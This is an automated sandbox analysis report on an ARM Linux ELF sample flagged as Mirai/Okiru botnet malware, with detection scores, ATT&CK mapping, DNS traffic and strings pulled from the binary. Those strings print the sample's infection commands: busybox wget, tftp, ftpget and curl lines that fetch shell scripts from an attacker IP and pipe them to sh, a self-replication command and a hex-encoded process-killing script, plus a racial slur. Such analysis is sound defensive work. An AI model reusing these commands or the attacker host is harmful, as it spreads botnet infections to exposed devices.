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Linux Analysis Report
arm6.nn.elf

Overview

General Information

Sample name:arm6.nn.elf
Analysis ID:1579225
MD5:e2f5991b9d768699bfd0b581927b70b5
SHA1:036e7b0ea90c5b294345249fd4bbd40437515de5
SHA256:d493d6e959b7656d563e645a73604b90c66b3a7b732b6b9d4dd1ee474f834de7
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score:72
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1579225
Start date and time:2024-12-21 05:41:09 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 23s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:arm6.nn.elf
Detection:MAL
Classification:mal72.troj.linELF@0/0@2/0
Command:/tmp/arm6.nn.elf
PID:5433
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • arm6.nn.elf (PID: 5433, Parent: 5356, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm6.nn.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
arm6.nn.elfJoeSecurity_OkiruYara detected OkiruJoe Security
    arm6.nn.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      SourceRuleDescriptionAuthorStrings
      5433.1.00007fc37c017000.00007fc37c032000.r-x.sdmpJoeSecurity_OkiruYara detected OkiruJoe Security
        5433.1.00007fc37c017000.00007fc37c032000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
          Process Memory Space: arm6.nn.elf PID: 5433JoeSecurity_OkiruYara detected OkiruJoe Security
            No Suricata rule has matched

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: arm6.nn.elfAvira: detected
            Source: arm6.nn.elfVirustotal: Detection: 41%Perma Link
            Source: arm6.nn.elfReversingLabs: Detection: 47%
            Source: arm6.nn.elfString: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe..%s/%s/proc//data/local/tmp//var/run/home/usr/bin/dev/dev/mnt/var/tmptmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login94.156.227.234malloc[start_pid_hopping] Failed to clone: %s
            Source: arm6.nn.elfString: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
            Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
            Source: arm6.nn.elfString found in binary or memory: http://94.156.227.233/
            Source: arm6.nn.elfString found in binary or memory: http://94.156.227.233/curl.sh
            Source: arm6.nn.elfString found in binary or memory: http://94.156.227.233/lol.sh
            Source: arm6.nn.elfString found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
            Source: Initial sampleString containing 'busybox' found: /bin/busybox
            Source: Initial sampleString containing 'busybox' found: getinfo xxxTSource Engine QueryNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe..%s/%s/proc//data/local/tmp//var/run/home/usr/bin/dev/dev/mnt/var/tmptmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahi
            Source: Initial sampleString containing 'busybox' found: usage: busybox
            Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname PBOC
            Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
            Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
            Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
            Source: Initial sampleString containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
            Source: Initial sampleString containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
            Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
            Source: Initial sampleString containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
            Source: Initial sampleString containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
            Source: classification engineClassification label: mal72.troj.linELF@0/0@2/0
            Source: /tmp/arm6.nn.elf (PID: 5433)Queries kernel information via 'uname': Jump to behavior
            Source: arm6.nn.elf, 5433.1.0000558ec390b000.0000558ec3a39000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
            Source: arm6.nn.elf, 5433.1.0000558ec390b000.0000558ec3a39000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
            Source: arm6.nn.elf, 5433.1.00007ffdb5161000.00007ffdb5182000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
            Source: arm6.nn.elf, 5433.1.00007ffdb5161000.00007ffdb5182000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.nn.elf
            Source: arm6.nn.elf, 5433.1.00007ffdb5161000.00007ffdb5182000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: arm6.nn.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007fc37c017000.00007fc37c032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: arm6.nn.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007fc37c017000.00007fc37c032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.nn.elf PID: 5433, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: arm6.nn.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007fc37c017000.00007fc37c032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: arm6.nn.elf, type: SAMPLE
            Source: Yara matchFile source: 5433.1.00007fc37c017000.00007fc37c032000.r-x.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: arm6.nn.elf PID: 5433, type: MEMORYSTR
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity Information1
            Scripting
            Valid AccountsWindows Management Instrumentation1
            Scripting
            Path InterceptionDirect Volume AccessOS Credential Dumping11
            Security Software Discovery
            Remote ServicesData from Local System1
            Non-Application Layer Protocol
            Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
            Application Layer Protocol
            Exfiltration Over BluetoothNetwork Denial of Service
            No configs have been found
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Number of created Files
            • Is malicious
            • Internet

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            arm6.nn.elf41%VirustotalBrowse
            arm6.nn.elf47%ReversingLabsLinux.Backdoor.Mirai
            arm6.nn.elf100%AviraEXP/ELF.Mirai.W
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches
            NameIPActiveMaliciousAntivirus DetectionReputation
            daisy.ubuntu.com
            162.213.35.24
            truefalse
              high
              NameSourceMaliciousAntivirus DetectionReputation
              http://94.156.227.233/curl.sharm6.nn.elffalse
                high
                http://94.156.227.233/lol.sharm6.nn.elffalse
                  high
                  http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sarm6.nn.elffalse
                    high
                    http://94.156.227.233/arm6.nn.elffalse
                      high
                      No contacted IP infos
                      No context
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      daisy.ubuntu.comarm.nn.elfGet hashmaliciousMirai, OkiruBrowse
                      • 162.213.35.25
                      ppc.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.25
                      arm7.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.25
                      nsharm.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      arm.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      nshkarm5.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      ppc.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      arm6.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      boatnet.ppc.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.25
                      boatnet.arm7.elfGet hashmaliciousMiraiBrowse
                      • 162.213.35.24
                      No context
                      No context
                      No context
                      No created / dropped files found
                      File type:
                      Entropy (8bit):6.1464337859058835
                      TrID:
                      • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                      File name:arm6.nn.elf
                      File size:112'544 bytes
                      MD5:e2f5991b9d768699bfd0b581927b70b5
                      SHA1:036e7b0ea90c5b294345249fd4bbd40437515de5
                      SHA256:d493d6e959b7656d563e645a73604b90c66b3a7b732b6b9d4dd1ee474f834de7
                      SHA512:bfb8fb679fa3854bd92d1b5586a8634e7d022c635fa1112fbbfe0ad720e385baed00209ac69583547d548fb2ecba5462f15f470131fd3541ab1e2e71e963b943
                      SSDEEP:1536:NOngC+FjXCCOFnPuRdm637ypXTTFBazmm8aoRjdRiDMdJtD5oYZannKlRKd:C+FbC9nPO3+FTFBazQIMDtDmWanntd
                      TLSH:67B32A56B881DB11C5C516BEF91E028D732313B8E3EF72168D14AF247B8B86B0D7BA45
                      File Content Preview:.ELF..............(.....T...4...........4. ...(.....................X...X...........................L...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.L.............-.@0....S
                      TimestampSource PortDest PortSource IPDest IP
                      Dec 21, 2024 05:41:58.134783030 CET3612553192.168.2.138.8.8.8
                      Dec 21, 2024 05:41:58.134900093 CET5913753192.168.2.138.8.8.8
                      Dec 21, 2024 05:41:58.257162094 CET53361258.8.8.8192.168.2.13
                      Dec 21, 2024 05:41:58.257224083 CET53591378.8.8.8192.168.2.13
                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                      Dec 21, 2024 05:41:58.134783030 CET192.168.2.138.8.8.80x9287Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                      Dec 21, 2024 05:41:58.134900093 CET192.168.2.138.8.8.80xd46dStandard query (0)daisy.ubuntu.com28IN (0x0001)false
                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                      Dec 21, 2024 05:41:58.257162094 CET8.8.8.8192.168.2.130x9287No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                      Dec 21, 2024 05:41:58.257162094 CET8.8.8.8192.168.2.130x9287No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

                      System Behavior

                      Start time (UTC):04:41:56
                      Start date (UTC):21/12/2024
                      Path:/tmp/arm6.nn.elf
                      Arguments:/tmp/arm6.nn.elf
                      File size:4956856 bytes
                      MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1